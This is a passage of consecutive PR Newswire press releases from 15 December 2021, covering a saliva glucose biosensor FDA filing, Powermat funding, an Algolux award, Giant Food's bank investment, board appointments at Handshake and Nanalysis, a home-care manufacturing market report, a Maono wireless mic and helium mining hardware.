funding they need to grow. The platform also supports innovators through its scaling programme and foundational projects, driving pilots and supply chain implementation with partner organisations. The Good Fashion Fund catalyses access to finance to shift at scale to more sustainable production processes. Fashion for Good's programmes are supported by founding partner Laudes Foundation, co-founder William McDonough and corporate partners adidas, C&A, CHANEL, BESTSELLER, Galeries Lafayette Group, Kering, Levi Strauss & Co., Otto Group, PVH Corp., Stella McCartney, Target, and Zalando, and regional and affiliate partners Arvind Limited, Birla Cellulose, HSBC, Norrna, vivobarefoot, Welspun and W. L. Gore & Associates. Contact: [email protected] SOURCE Ecovative SYDNEY, Dec. 15, 2021 /PRNewswire/ -- Life Science Biosensor Diagnostics Pty Ltd (LSBD), a life sciences and medical technology company and subsidiary of The iQ Group Global, announced it has filed an application with the U.S Food and Drug Administration (FDA) for Breakthrough Devices Designation for its Saliva Glucose Biosensor. Image: https://distribution.medianet.com.au/Download/Document?j=964158&s=2&k=2100471 The FDA Program will provide LSBD with an expedited path toward regulatory approval for its non-invasive, real-time Saliva Glucose test. The IQ Group Global, through LSBD and its commercial subsidiaries and licensees, BioSensX Global Inc. and GBS Inc., are developing a suite of 150 different diagnostic point-of-care tests, including a salivary quantitative SARS-CoV-2 test, allergen panels, and saliva-based glucose; for patients living with diabetes; using the Biosensor Platform. The Biosensor is a small organic thin-film transistor diagnostic test, developed at Newcastle University, that enables accurate salivary glucose measurement in real-time at point-of-care. The FD's Breakthrough Devices Program allows expedited approval for medical devices and products that provide more effective treatment or diagnosis for life-threatening or irreversibly debilitating diseases or conditions, like diabetes. The purpose of the Program is to provide patients and health care providers with timely access to these medical devices by speeding up their development, assessment, and review. "We are looking forward to working with the FDA so we can commence clinical trials as soon as possible and make this innovative device accessible to the people who need it globally. The Biosensor Platform unlocks extraordinary opportunities not only for the patient, but also for the healthcare industry," CEO and Chairman of The iQ Group Global, Dr. George Syrmalis, said. "There are more than 400 million people living with various stages of diabetes globally that have no alternative other than a painful and invasive blood glucose test, that often has to be administered multiple times per day. Our technology negates the need for this often-traumatic experience by using saliva instead of blood." About Life Science Biosensor Diagnostics Pty Ltd (LSBD) Life Sciences Biosensor Diagnostics Pty Ltd (LSBD) is the company that owns and manages the intellectual property of the diagnostic Biosensor Platform. About The iQ Group Global The iQ Group Global is a group of companies that find, fund and develop bioscience discoveries to create life-changing medical innovations. Recognized by The Australian Financial Review for the second consecutive year as one of the country's Most Innovative Companies in 2020, The iQ Group Global's flagship innovations include the Biosensor Platform and TEX Core, a first-in-class oncology drug platform with the ability to develop a pipeline of novel oncology compounds. Visit our website: theiqgroupglobal.com (https://theiqgroupglobal.com) Media Contact: James Gorman +61 (0) 2 8239 5400 [email protected] SOURCE The iQ Group Global Ltd. TEL-AVIV, Israel, Dec. 15, 2021 /PRNewswire/ -- Powermat Technologies , Inc., the global leader in advanced wireless power technology, today announced a significant investment as part of a US $25 million Series B round, by Foxconn Interconnect Technology ("FIT", SEHK stock code: 6088), leading in global connectivity solutions developer, and Hudson Sustainable Group, a founding shareholder of Powermat. Powermat's innovative wireless power technology is a critical enabler of the smart mobility, autonomous robotics, industrial drones, medical devices, telecom, and internet of things (IoT) industries, where Powermat is experiencing exponential growth. The current Series B funding round, led by FIT and Hudson, will be used to fund the company's increased growth and penetration in key customer segments, including automotive, micromobility, and autonomous robotics. The strategic partnership with FIT will also involve FIT and Powermat partnering on go-to-market strategies to further the companies' shared goals of capturing new and emerging markets for wireless power. "This investment by FIT and Hudson Sustainable Group will allow Powermat Technologies to capitalize on the huge demand for wireless power solutions, to better solve customers' future product challenges, and to lead the evolutionary cycle of wireless power technology in the autonomous and IoT sectors," said Powermat Technologies CEO Elad Dubzinski. "We look forward to building on our relationship with FIT as a strategic investor and partner, which will enable both companies to cement their leading positions in the market." "Access to power on a wireless basis is an essential element to the new mobility ecosystem, which is a business area of increasing focus for FIT," said Thomas Fann, special assistant to the chairman, FIT. "OEMs and technology companies are looking for reliable, high performing, and cost-efficient wireless power solutions. Powermat delivers wireless technology solutions to OEMs with an unmatched level of service that ensures the successful implementation of their reference designs and technologies. We view our investment in Powermat as another step in a mutually beneficial partnership that will help enable the future success of FIT's business and lead to deeper penetration of Powermat's revolutionary technologies across the world's most innovative industry segments." "Having worked with Powermat Technologies since 2012, we have a strong conviction in the progress of the company and its position as one of the leading players in the wireless power space," said Neil Auerbach, CEO and managing partner of Hudson Sustainable Group. "In addition to its superior technology offering and longevity in the space, Powermat's management team has demonstrated remarkable adeptness in steering the company towards emerging high growth markets where there is a high demand for wireless charging and power solutions." As the first company to bring wireless charging technology to consumers, Powermat develops advanced Qi-certified and proprietary wireless power technology solutions for various industries and use-cases based on magnetic induction, also known as inductive charging. Currently, the company's solutions can be found in over 800 million smartphones, 40 million embedded accessories, and 8 million cars worldwide, in partnership with leading high-tech and mobility partners including FIT, Flex, General Motors, Harman International, Kyocera, and Samsung. About Foxconn Interconnect Technology Foxconn Interconnect Technology (FIT) is a leading global solutions developer and manufacturer cultivating connectivity for a better world. With unsurpassed capabilities in development, research, manufacturing engineering and design, production, supply chain, and go-to-market planning for world-class brands and private label products spanning B2C and B2B categories, FIT is at the forefront of worldwide technological trends delivering compelling user experiences at scale. With offices and manufacturing sites located in Asia, the Americas and Europe, FIT is a global leader in the manufacturing of high precision interconnect components. For more information, visit FIT's website: fit-foxconn.com. About Hudson Sustainable Group Hudson Sustainable Group is focused on investing in the sustainability sector globally, with an emphasis on renewable energy, resource efficiency, and other aspects of sustainable technology. Founded in 2007, Hudson acts as both a principal investor and investment manager, and has made 20 investments to date in 26 countries. For more information, visit www.hudsonsustainable.com. About Powermat Technologies Powermat Technologies provides advanced Qi-certified and proprietary wireless charging platforms for IoT, telecom (5G), automotive, robotics, consumer electronics, medical devices, and industrial applications. The company's wireless power platforms and IP licensing program enable global businesses to incorporate advanced wireless power technology into their products and customize solutions for unique use cases. Global market leaders including Foxconn Interconnect Technology, Flex, General Motors, Harman International, Kyocera, and Samsung are already leveraging Powermat's Technology, and its solutions can be found in over 800 million smartphones, 40 million embedded accessories, and 8 million cars worldwide. Media Contact: Annika Harper Antenna Group for Powermat Technologies [email protected] SOURCE Powermat SAN ANTONIO, Dec. 15, 2021 /PRNewswire/ -- Frost & Sullivan recently assessed the North American computer vision market, and based on its results, recognizes Algolux with the 2021 North America Technology Innovation Leadership Award in the computer vision space. The company offers innovative artificial intelligence (AI)-based computer vision and image optimization solutions to address mission-critical safety concerns for automotive advanced driver-assistance systems (ADAS), autonomous vehicles, and transport applications. It leverages these industries' existing and emerging growth opportunities to deliver better vision accuracy, especially in challenging conditions like low lighting and poor weather. By rethinking the vision architecture, Algolux solves the inherent issues of computer vision systems and delivers unprecedented performance improvements through its novel approach. Algolux's novel technologies focus on exploiting vision systems well beyond the capabilities of state-of-the-art techniques. The company relates the limitations of existing computer vision models and neural networks to the widespread use of the traditional siloed approach, making it the first company to leverage computational imaging techniques to design algorithms that treat the camera as part of the overall vision stack. Furthermore, their computer vision technology is compatible with existing and emerging innovations and can easily adapt to lens components, image sensor types, and compute platforms. According to Frost & Sullivan's Best Practices Research analyst Sama Suwal, "Algolux's innovative vision solutions considerably outperform other state-of-the-art computer vision solutions available in the market, resulting in notable enhancements in object detection accuracy under an array of scenarios. Customers can apply the spectrum of embedded and cloud-based solutions to improve computer vision accuracy; in some cases, an increase of over 40% mean Average Precision (mAP) can be achieved instantly without changing any system components." Its innovative Eos Embedded Perception Software improves vision system robustness by up to three-fold under all conditions, especially in unfavorable low light and poor weather scenarios. The efficient and flexible solution enables: seamless camera lens customization sensor configurations customization multi-sensor fusion Customers can embed the Eos stack into their new designs to improve their imaging system's vision capabilities. The Atlas Camera Optimization Suite automatically optimizes camera configurations to deliver optimal image quality for computer vision applications. The camera optimization solution addresses the limitations of traditional image processor tuning workflows and significantly improves computer vision results in days rather than months, accelerating time to revenue. Frost & Sullivan's industry analyst, Varun Babu, said, "Algolux strives to leverage its pioneering computer vision solutions, solid growth strategy, unmatched industry expertise, and strong market reputation to build on its 2020 momentum and register record growth in 2021." Algolux reported accelerated progress since 2020 due to its strong growth strategy and market reputation, unparalleled industry expertise, and exceptional technology solutions (industry-leading computer vision solutions). As a result, it recorded its highest financial success during the pandemic, and these factors position it for robust future growth. For its strong overall performance, Algolux earns Frost & Sullivan's 2021 North America Technology Innovation Leadership Award in the computer vision industry. Each year, Frost & Sullivan presents this award to the company that has developed a product with innovative features and functionality that is gaining rapid acceptance in the market. The award recognizes the quality of the solution and the customer value enhancements it enables. Frost & Sullivan Best Practices awards recognize companies in various regional and global markets for demonstrating outstanding achievement and superior performance in leadership, technological innovation, customer service, and strategic product development. Industry analysts compare market participants and measure performance through in-depth interviews, analyses, and extensive secondary research to identify best practices in the industry. About Frost & Sullivan For six decades, Frost & Sullivan has been world-renowned for its role in helping investors, corporate leaders, and governments navigate economic changes and identify disruptive technologies, Mega Trends, new business models, and companies to action, resulting in a continuous flow of growth opportunities to drive future success. Contact us: Start the discussion. Contact us: Start the discussion . Contact: Claudia Toscano P: 1.956.533.5915 E: [email protected] About Algolux Algolux is a globally recognized computer vision company addressing the critical issue of safety for advanced driver assistance systems and autonomous vehicles. Our machine-learning tools and embedded AI software products enable existing and new camera designs to achieve industry-leading performance across all driving conditions. Founded on groundbreaking research at the intersection of deep learning, computer vision, and computational imaging, Algolux has been repeatedly recognized at industry and academic conferences and has been named to the 2021 CB Insights AI 100 List of the world's most innovative artificial intelligence startups. Algolux is headquartered in Montreal, Canada, with offices in Palo Alto, California, and Munich, Germany. Contact: Dave Tokic P: +1.514.316.2688 E: [email protected] www.algolux.com SOURCE Frost & Sullivan LANDOVER, Md., Dec. 15, 2021 /PRNewswire/ -- Giant Food, the leading greater Washington, D.C. regional grocery chain, today announces a $50 million money market fund investment supporting The Harbor Bank of Maryland, the only Black-owned and -managed commercial bank headquartered in the State. The Harbor Bank of Maryland has six branches located throughout the state serving the Greater Baltimore metropolitan area. The investment will provide the bank with greater financial opportunities for the communities it serves by being able to supply more loans to consumers and small businesses, investing in technologies and digital capabilities to better serve customers and expanding operations to serve more communities. Through this investment, Giant and The Harbor Bank of Maryland build on their shared commitment to supporting underserved communities. "We are pleased to support The Harbor Bank of Maryland with this investment to provide more financial opportunities for individual and small business bank customers in the Baltimore area," said Ira Kress, President of Giant Food. "With a shared commitment to supporting our communities with economic development, this is a natural collaboration for us, and we look forward to the continued impact The Harbor Bank of Maryland provides." Giant's investment is an extension of its commitment to being a better neighbor through diversity, equity and inclusion initiatives including raising awareness for a diverse network of partners and suppliers and fostering an inclusive workplace that reflects the unique backgrounds and experiences of its communities. "The Harbor Bank of Maryland has a long history of providing capital and financial services to the Greater Baltimore region," said John Lewis, President and Chief Operating Officer of The Harbor Bank of Maryland. "We are encouraged by the support of Giant, an important local partner and community anchor, in furthering our efforts." The money market fund investment will be managed by J.P. Morgan Asset Management through its Empowering Change program (The Harbor Bank of Maryland serves as a distributor), part of its commitment to bringing new economic opportunities to historically underserved communities. About Giant Food This year, Giant Food is celebrating 85 years as a community grocery store. Since opening its first location on Georgia Ave. in Washington, DC in 1936, Giant has been an integral part of our customers' lives and the communities it serves. Giant is committed to being a Better Neighbor and has designated four main giving pillars that address local Food Insecurity, Military Support, Pediatric Cancer Research, and Social Equality. Giant is headquartered in Landover, Md. and operates 164 supermarkets in Virginia, Maryland, Delaware, and the District of Columbia with approximately 20,000 associates. Included within the 164 stores are 152 full-service pharmacies, 83 full-service PNC Banks and 26 Starbucks locations. Giant fits all the ways today's busy customers want to shop - whether in store or online. With 159 Giant Pickup locations and Giant Delivers available to all our market areas in DC, MD, VA and DE, customers have even more convenient options right at their fingertips to get the best product and prices, whenever and however they want it. For more information on Giant, visit: www.giantfood.com. About The Harbor Bank of Maryland The Harbor Bank of Maryland was founded in 1982 and is a Maryland chartered commercial bank serving Maryland, Washington D.C., and Northern Virginia. As a designated CDFI, MDI, SBA 7(a) and USDA lender, Harbor Bank offers checking, savings, time deposits, credit cards, debit cards, commercial real estate, personal, home improvement, and other installment and term loans. The bank is also a member of local and national ATM networks. About J.P. Morgan Asset Management J.P. Morgan Asset Management, with assets under management of USD 2.7 trillion (as of 30 September 2021), is a global leader in investment management. J.P. Morgan Asset Management's clients include institutions, retail investors and high net worth individuals in every major market throughout the world. J.P. Morgan Asset Management offers global investment management in equities, fixed income, real estate, hedge funds, private equity and liquidity. For more information: www.jpmorganassetmanagement.com. SOURCE Giant Food SAN FRANCISCO, Dec. 15, 2021 /PRNewswire/ -- Handshake, the largest early career network helping millions of students from all backgrounds launch their careers, today announced the appointment of Dr. Michael L. Lomax to its board of directors. As president and CEO of UNCF (United Negro College Fund), the nation's largest and most effective minority education organization, Lomax's expertise in college readiness and education reform will help shape Handshake's ongoing work to build more equitable career paths for young people. "Dr. Lomax's leadership experience and values align with our ambitious mission to close the gap between education and employment in order to unlock a more equitable future," said Garrett Lord, Handshake's founder and CEO. "Together, we're working to ensure that anyoneregardless of race, background or social capitalcan start, restart or jumpstart their way into purposeful, high-paying careers." Handshake brings together 18 million students and alumni from 1,400 colleges and universities, including 200 minority serving institutions and 62 historically Black colleges and universities (HBCUs). On Handshake, more than over 600,000 employers can connect and authentically build relationships with a diverse pool of candidates: In 2021 alone, Handshake's network of 1.2 million Black students exchanged over 10 million messages with employers. "Ensuring that all students have equal access to social capital and economic security requires deep engagement from a cross-section of colleges, students and employers. Handshake is the only place where everyone comes together with the collective goal of democratizing career opportunity," said Lomax. "I am thrilled to help Handshake build a more inclusive ecosystem that prepares students for the jobs of today and careers of tomorrow." Lomax has served as president and CEO of UNCF, the nation's largest private provider of scholarships and other educational support to African American students, since 2004. Under his leadership, UNCF has helped more than 110,000 students earn college degrees and launch careers. UNCF also introduced the Institute for Capacity Building, which helps UNCF's member HBCUs become stronger, more effective and more self-sustaining. Lomax also actively leads UNCF in the fight to further advance HBCUs with Congress, the Biden administration and the U.S. Department of Education. For additional information about Handshake, please visit https://www.joinhandshake.com/. ABOUT HANDSHAKE Handshake is the largest early career network, helping millions of students from all backgrounds get hired and launch their careers with no connections, experience, or luck required. The Handshake community includes 18 million students and young alumni from 1,400 educational institutions including four-year colleges, community colleges, boot camps, and 290+ minority-serving institutions. Its platform connects up-and-coming talent across all 50 states with 600,000+ employers recruiting on Handshake - from every Fortune 500 company to thousands of small businesses, nonprofits, startups, and more. ABOUT UNCF UNCF (United Negro College Fund) is the nation's largest and most effective minority education organization. To serve youth, the community and the nation, UNCF supports students' education and development through scholarships and other programs, supports and strengthens its 37 member colleges and universities, and advocates for the importance of minority education and college readiness. UNCF institutions and other historically Black colleges and universities are highly effective, awarding nearly 20% of African American baccalaureate degrees. UNCF administers more than 400 programs, including scholarship, internship and fellowship, mentoring, summer enrichment, and curriculum and faculty development programs. Today, UNCF supports more than 60,000 students at over 1,100 colleges and universities across the country. Its logo features the UNCF torch of leadership in education and its widely recognized trademark, A mind is a terrible thing to waste." For continuous updates and news, follow UNCF on Twitter at @UNCF. SOURCE Handshake SAN FRANCISCO, Dec. 15, 2021 /PRNewswire/ -- Home care contract manufacturing market has grown significantly since 2017 and is expected to grow at a CAGR of 11.42% from 2020-2025. Some of the homecare product manufacturers have expanded their business geographically during the lockdown period. Synergy Home Care announced that it has sold in 35% more territories in 2020 as compared to 2019. Similarly, Best Life Brands awarded 71 new franchise agreements across its brands last year. Other companies like HHCN expect the sales to be boosted even more when the pandemic comes to an end. A U.K.- based contract manufacturer, McBride, has utilized this opportunity to expand its portfolio. In retail manufacturing alone, McBride has 6000 references manufactured and 1.5 million pallets delivered to over 250 customers. As a contract manufacturer, they have boosted their customer base. As of 2020, they have manufactured over 30 home and laundry care categories, which are active in the market for 150 brands. The suppliers offering contract manufacturing for homecare products also cater to personal products, which is witnessing a strong growth due to changes in shopping patterns and formulations. The major selection criteria are Certifications and Ingredients used by the contract manufacturer; brands prefer partnering with manufacturers who use organic ingredients in their production process. Home Care Contract Manufacturing Industry Procurement Intelligence report, by Grand View Research, deep dives into the following insights from the industry: With the rising demand for homecare cleaning products, a sizable part of the manufacturing is being outsourced to contract manufacturers Household fabric cleaners are expected to witness the highest growth rate of 11.42% over the forecast period owing to the rise in disposable income and improvements in lifestyle in regions, such as APAC. Other key factors for the market growth include: Household fabric cleaners are expected to witness the highest growth rate of 11.42% over the forecast period owing to the rise in disposable income and improvements in lifestyle in regions, such as APAC. Other key factors for the market growth include: Growing awareness about the benefits of fabric cleaning products to maintain the quality of clothes Efforts by market players to launch less water-dependent fabric cleaning products to cater to the demands of countries, such as India , China , and Indonesia , which have a scarcity of water , , and , which have a scarcity of water Raw materials take up three-fourth of the overall cost of manufacturing. Chelating agents are the largest cost head under raw materials Raw materials cost about 75% of the overall cost of manufacturing. In terms of a liquid concentrate of the cleaner, water accounted for the highest percentage in terms of weight, covering around 40-50% of the solution, followed by surfactants covering 10%. In 2018, surfactant prices declined despite higher crude oil prices, but are expected to become stable over the forecast period. Raw materials cost about 75% of the overall cost of manufacturing. In terms of a liquid concentrate of the cleaner, water accounted for the highest percentage in terms of weight, covering around 40-50% of the solution, followed by surfactants covering 10%. In 2018, surfactant prices declined despite higher crude oil prices, but are expected to become stable over the forecast period. The U.S. is the highest exporter of surface-active agents, one of the key materials required to manufacture homecare cleaning products The U.S. has been a key exporter of surface-active agents over the last five years. In 2019, it accounted for 10% of the overall exports globally. From a cost perspective, China and India are the leading countries in APAC. Home care Contract Manufacturing Market Cost Intelligence Highlights: Grand View Research has identified the following key cost components for Home care Contract Manufacturing: Raw Material Costs Water Surfactants Chelating Agent Buffer Solution Alkalinity Operational Cost Labor and Manual Overheads Depreciation R&D Tax SG&A Profit Raw materials are the major cost component of home care contract manufacturing and account for 75% of the total cost of production. Home Care Contract Manufacturing Industry Supplier Intelligence Capability based ranking & selection criteria with weightage: Operational Capabilities Years in Service 15% Geographical Service Presence 25% Employee Strength 5% Revenue Generated 34% Key Clients 5% Certifications 9% Functional Capabilities Product Type 30 Liquid Conceterate Solid Concenterate Sourcing Pads Others Use Type - 70% Kitchen Cleaning Bathroom Cleaning Glass and Metal Cleaners Floor Cleaners Upholstery Cleaners Others List of Key Suppliers in the Home care Contract Manufacturing industry: PCC McBride Fareva Unified Solutions for Cleaning Access Business Group The Korex Companies Formula Corp N.G. Electro Products STPP Group AAYKAY Detergents and Chemicals Addon Services offered by Grand View Research: Should Cost Analysis In the homecare contract manufacturing market procurement intelligence report, we have estimated and forecasted pricing for the key cost components while availing services from contract manufacturers. Raw material cost is the largest cost component of homecare contract manufacturing services. It accounted for more than 75% share in overall manufacturing cost. Among raw materials, chelating agents is the largest cost component with ~24% share followed by surfactants and buffer solution. The price of surfactants is majorly determined by crude oil prices. However, in 2018, surfactants' prices declined, irrespective of higher crude oil prices. As the demand for personal care and home care products increases, the prices for buffer solutions and others are expected to stabilize over the forecasted period. In the homecare contract manufacturing market procurement intelligence report, we have estimated and forecasted pricing for the key cost components while availing services from contract manufacturers. Raw material cost is the largest cost component of homecare contract manufacturing services. It accounted for more than 75% share in overall manufacturing cost. Among raw materials, chelating agents is the largest cost component with ~24% share followed by surfactants and buffer solution. The price of surfactants is majorly determined by crude oil prices. However, in 2018, surfactants' prices declined, irrespective of higher crude oil prices. As the demand for personal care and home care products increases, the prices for buffer solutions and others are expected to stabilize over the forecasted period. Rate Benchmarking As chelating agents are the most important cost component for cleaning product manufacturing, the type of chelating agents is one of the most important aspects while analyzing the rate benchmarking of homecare contract manufacturing services. In our research, we have analyzed the rates of citric acid, nitrilotriacetic acid (NTA), and phosphonates. These three are the most common types of chelating agents used to produce cleaning products. By using rate benchmarking analysis, we found that using NTA as chelating agents is 15%-20% cost-efficient than using citric acid and phosphonates as chelating agents. Moreover, due to their toxicity phosphonates are banned in the EU, Canada , and Australia . Hence, using NTS and citric acid is the most preferable chelating agent for homecare contract manufacturers. As chelating agents are the most important cost component for cleaning product manufacturing, the type of chelating agents is one of the most important aspects while analyzing the rate benchmarking of homecare contract manufacturing services. In our research, we have analyzed the rates of citric acid, nitrilotriacetic acid (NTA), and phosphonates. These three are the most common types of chelating agents used to produce cleaning products. By using rate benchmarking analysis, we found that using NTA as chelating agents is 15%-20% cost-efficient than using citric acid and phosphonates as chelating agents. Moreover, due to their toxicity phosphonates are banned in the EU, , and . Hence, using NTS and citric acid is the most preferable chelating agent for homecare contract manufacturers. Salary Benchmarking Labor is one of the key cost components incurred while offering a product or service. Understanding the pricing structure of salary is important for organizations in selecting the appropriate supplier and to build a good negotiation strategy. It is also an important factor in determining whether the category under focus should be outsourced or built in-house. Labor is one of the key cost components incurred while offering a product or service. Understanding the pricing structure of salary is important for organizations in selecting the appropriate supplier and to build a good negotiation strategy. It is also an important factor in determining whether the category under focus should be outsourced or built in-house. Supplier Newsletter It is cumbersome for any organization to continuously track the latest developments in their supplier landscape. Our newsletter service helps them remain updated, to avoid any supply chain disruption which they may face and keep a track of the latest innovations from the suppliers. Outsourcing such activities help clients focus on their core offerings. A smart and effective supply chain is essential for growth in any organization. Pipeline division at Grand View Research provides detailed insights on every aspect of supply chain which helps in efficient procurement decisions. Our services include (not limited to): Market Intelligence involving market size and forecast, growth factors, and driving trends Price and Cost Intelligence pricing models adopted for the category, total cost of ownerships Supplier Intelligence rich insight on supplier landscape, and identifies suppliers who are dominating, emerging, lounging, and specializing Sourcing / Procurement Intelligence best practices followed in the industry, identifying standard KPIs and SLAs, peer analysis, negotiation strategies to be utilized with the suppliers, and best suited countries for sourcing to minimize supply chain disruptions Browse through Grand View Research's collection of procurement intelligence studies: Electric Vehicle Battery Industry Procurement Intelligence Report The global EV battery market is expected to witness sustainable growth (CAGR of 16%) from 2020 to 2025 due to the rising demand for electric vehicles across the world. Moreover, many countries are implementing policies with the focus to deploy and improve EV infrastructure, leading to market growth. The global EV battery market is expected to witness sustainable growth (CAGR of 16%) from 2020 to 2025 due to the rising demand for electric vehicles across the world. Moreover, many countries are implementing policies with the focus to deploy and improve EV infrastructure, leading to market growth. Legal Process Outsourcing Market Procurement Intelligence Report The global legal process outsourcing (LPO) market is expected to witness sustainable growth, growing at a CAGR of more than 31% from 2020 to 2025, as large corporations are particularly outsourcing their non-core business activities to third-party service providers to focus more on their core business while saving the costs incurred on employing an in-house legal team. About Grand View Research Grand View Research, U.S.-based market research and consulting company, provides syndicated as well as customized research reports and consulting services. Registered in California and headquartered in San Francisco, the company comprises over 425 analysts and consultants, adding more than 1200 market research reports to its vast database each year. These reports offer in-depth analysis on 46 industries across 25 major countries worldwide. With the help of an interactive market intelligence platform, Grand View Research helps Fortune 500 companies and renowned academic institutes understand the global and regional business environment and gauge the opportunities that lie ahead. Contact: Sherry James Corporate Sales Specialist, USA Grand View Research, Inc. Phone: 1-415-349-0058 Toll Free: 1-888-202-9519 Email: [email protected] Web: https://www.grandviewresearch.com Follow Us: LinkedIn | Twitter SOURCE Grand View Research, Inc. SHENZHEN, China, Dec. 15, 2021 /PRNewswire/ -- Recently, Maono released a new wireless mic system, WM820-A2 compact 2-person mic system best for vlogging, interviewing, recording, and live streaming. It's advantageous when doing a two-person interview since the system has two individual transmitters with separate channels for a crystal clear, uninterrupted audio experience. In addition, the wireless operation makes it super convenient for everyone. Without much ado, let's look at what this wireless microphone has to offer. Transmitter and Receiver Interfaces and Buttons Maono Releases the Compact 2-Person Wireless MicWM820-A2 The Maono WM820-A2 wireless microphone system has two units of transmitters with built-in microphones. Each unit also features a 3.5mm TRS mic input, where you can connect the lav microphones provided in the pack or any other desired microphones. It also has a USB-C charging port, a power on/off button, and a mute button. A single receiver unit captures recorded audio from both transmitters. It features a 3.5mm TRS output and a 3.5mm TRS headphone output. There is a USB-C input for charging, a power on/off button, and a voice+, and a voicecontrol for adjusting mic gain. Recording audio with the Maono WM820-A2 is super easy and fuss-free. Equipped with three cables included; a TRS-TRS audio cable for the camera, a TRS-TRRS audio cable for the phone, and a USB-A to USB-C 1-3 splitter charging cable. You can immediately start recording out of the box. Battery and Range In each transmitter and receiver, there is a built-in, chargeable 350mAh battery that can last up to 6 hours, which meets the demands in most application scenarios. The best part is that you can charge the system with a portable power bank while in use. Like many other electronic devices, the system operates on a 2.4GHz WiFi frequency for transmission. When it comes to transmission range, one of the most critical radio system parameters, Maono WM820-A2 offers a 50m(164ft) transmission range in an open field. When there are physical obstructions, the range is reduced to 30m(98ft). It's particularly suitable for outdoor vlog shootings, especially where you want to capture live moments, such as the natural sound of the birds singing or the wind blowing, and getting all the outdoor energy and sincerity. Dimensions Each transmitter and receiver is small and compact, measuring only 45mm x 45mm x 17mm. Its belt clip design provides excellent flexibility to clip the transmitters on clothes and mount the receiver on a camera or other mobile devices. This way, users feel more comfortable moving around without worrying about dropping any unit. Price and Availability The Maono WM820-A2 costs just under $150. You can find many other similar wireless microphone systems offering the same accessories and package, but most of them cost more than $200. But Maono is one of the affordable brands out there that give you more than what you pay for. The WM820-A2 wireless mic that they make doesn't look cheap even with the lower price tag. In fact, Maono WM820-A2 provides an excellent system that is no worse than those wireless microphones that are more expensive. Recommended For The Maono WM820-A2 is an extremely good choice for audio and visual content developers, YouTubers, vloggers, documentary filmmakers, and reporters. You can easily stream the WM820-A2 on various devices such as PC, Apple devices, Android smartphones, and cameras. It delivers crystal clear and natural audio quality and can transmit up to 50m. Adding up to its convenient compact feature is the built-in and rechargeable battery that can last up to 6 hours of usage for every complete recharge. At the price under $150, Maono WM820-A2 offers excellent audio performance and other standard features that will impress you. PRESS CONTACT: Mona 008675589316501 https://www.maono.com/ SOURCE MAONO Technology Co., Ltd. SINGAPORE, Dec. 15, 2021 /PRNewswire/ -- MNTD . by RAKwireless Technology Co., Ltd. (RAK), a pioneer in wireless end-to-end solutions and IoT technology, announces today its launch in Europe and Canada. MNTD. provides easy-to-use helium mining hardware to consumers. MNTD. offers two new miners, one limited edition Goldspot Miner and the flagship Blackspot Miner. This launch follows the US release in early October that sold out in minutes. Despite a year of record chip shortages and setbacks, MNTD. has successfully supplied 41,000 units in the last few months. MNTD by RAKwireless The launch also expands The People's Network, RAKwireless' commitment and passion to make mining accessible for everyone, across the globe. Like the US launch, MNTD. will expedite shipments to crypto enthusiasts throughout the world and will forgo pre-orders, instead shipping as soon as inventory is available. The drop is live on Wednesday at 8 AM PST / 11 AM EST / 10 AM CET. The miners will be available in USD, CAD, and EUR. "It's been a long time coming, but we're excited to finally serve new locations and expand The People's Network even further across the globe," added RAKwireless CEO, Ken Yu . RAKwireless has the most experience and credibility in the Helium Hotspot market. RAK manufactured the first Hotspot directly for Helium and has the most hotspots in the market today. Earlier this year, Helium secured $111 million in a token sale led by Andreessen Horowitz. The decentralized peer-to-peer 5G wireless network is built from the Internet of Things (IoT) using blockchain technology. Donned "The People's Network," miner hotspot Helium enthusiasts users buy the equipment and host it at home to be able to mine crypto and access the network. It's a quick 'plug and play' process, the whole experience of setting up a miner is possible in under 20 mins. The product is coupled around a modern reward system built around a kind of cryptocurrency, the Helium Token (HNT) that users can effectively mine for. Since 2020, RAK has been a key partner to Helium in creating reliable and top-class hardware to power Helium Hotspots. About RAKwireless RAKwireless is a multinational technology company established in June 2014. Headquartered in Shenzhen, RAK is changing the IoT landscape by eliminating design complexity and accelerating time-to-market, for underserved and emerging markets, including open-source and industrial communities. Creating easy-to-deploy solutions and modular IoT products, RAKwireless is working to grow a community of system integrators, developers, and IoT solution providers, who are passionate about taking IoT solutions further than ever before. https://www.rakwireless.com/en-us About MNTD. MNTD. is on a mission to democratize cryptocurrency-related hardware & mining for the everyday person (#ThePeople) that want to earn rewards, but haven't learned or desire to learn the technical complexities often required to operate them. getmntd.com Media Contact: Olivia Ludington 551-795-5950 [email protected] SOURCE RAKwireless Technology Co., Ltd. (RAK) CALGARY, AB, Dec. 15, 2021 /PRNewswire/ - Nanalysis Scientific Corp. ("Nanalysis" or the "Company"), TSXV:NSCI,OTCQX:NSCIF, FRA:1N1) is pleased to announce that, effective January 1, 2022, Dr. Rene Lenggenhager, is joining its Board of Directors. Dr. Lenggenhager is an experienced public company executive and board member with a successful career in leading global technology companies. In addition, the Company is pleased to announce that Dr. Lenggenhager is investing in Nanalysis via non-brokered private placement of 150,000 common shares of the Company ("Common Shares") at a price of $1.35 per share for aggregate gross proceeds of $202,500 (the "Offering"). Dr. Lenggenhager brings to Nanalysis a diverse set of experiences and capabilities over a 37 year career in advanced industrial technology. He has a background of continuously innovating technology components and systems, with a focus on high-precision measuring, testing and automation equipment. His experience includes over 20 years of management and development, with full P&L responsibility, of globally active, publicly listed, innovative technology companies: Comet Group (COTN), Bruker BioSpin (BRKR), Mettler-Toledo (MTD) and Siemens Building Technologies. During his career he defined and implemented new product strategies for low- to high-field Nuclear Magnetic Resonance (NMR) products, and consolidated all service activities into one service division. Dr. Lenggenhager also deployed a global supply chain management and an outsourcing strategy. Additionally, he realigned the marketing and sales management, transforming from a technology to a market-oriented company. He has developed new product portfolio strategies, based on platforms, modularization and production with lean manufacturing principles. He implemented a comprehensive China strategy for R&D, production and quality assurance for a globally distributed laboratory balances portfolio. He has put into effect strategic pricing and value selling program, developed and implemented a new strategic offering for weighing services for the MTD group. Dr. Lenggenhager holds a PhD in physics from ETH Zurich and received an Executive MBA at the University of St. Gallen. Additionally, Dr. Lenggenhager is a strategic advisory and Director for several other industrial technology companies, including bNovate Technologies, F&P Personal Robotics AG, HSE Hombrechtikon System Engineering AG, CovalX AG and he is a member of the Institute Council of the Federal Institute of Metrology Switzerland, METAS. Sean Krakiwsky, founder and CEO of Nanalysis states, "I have fostered a relationship with Rene for several years, and I've always wanted an opportunity to work with him. I am overjoyed that Nanalysis has evolved to the point where we have been able to attract him to our Board of Directors, where he will be a tremendous asset to our company. In addition, Rene will be working with our senior management team to enhance and focus our vertical market product strategy. There are very few people in the world that have the strategic acumen in the areas of magnetic 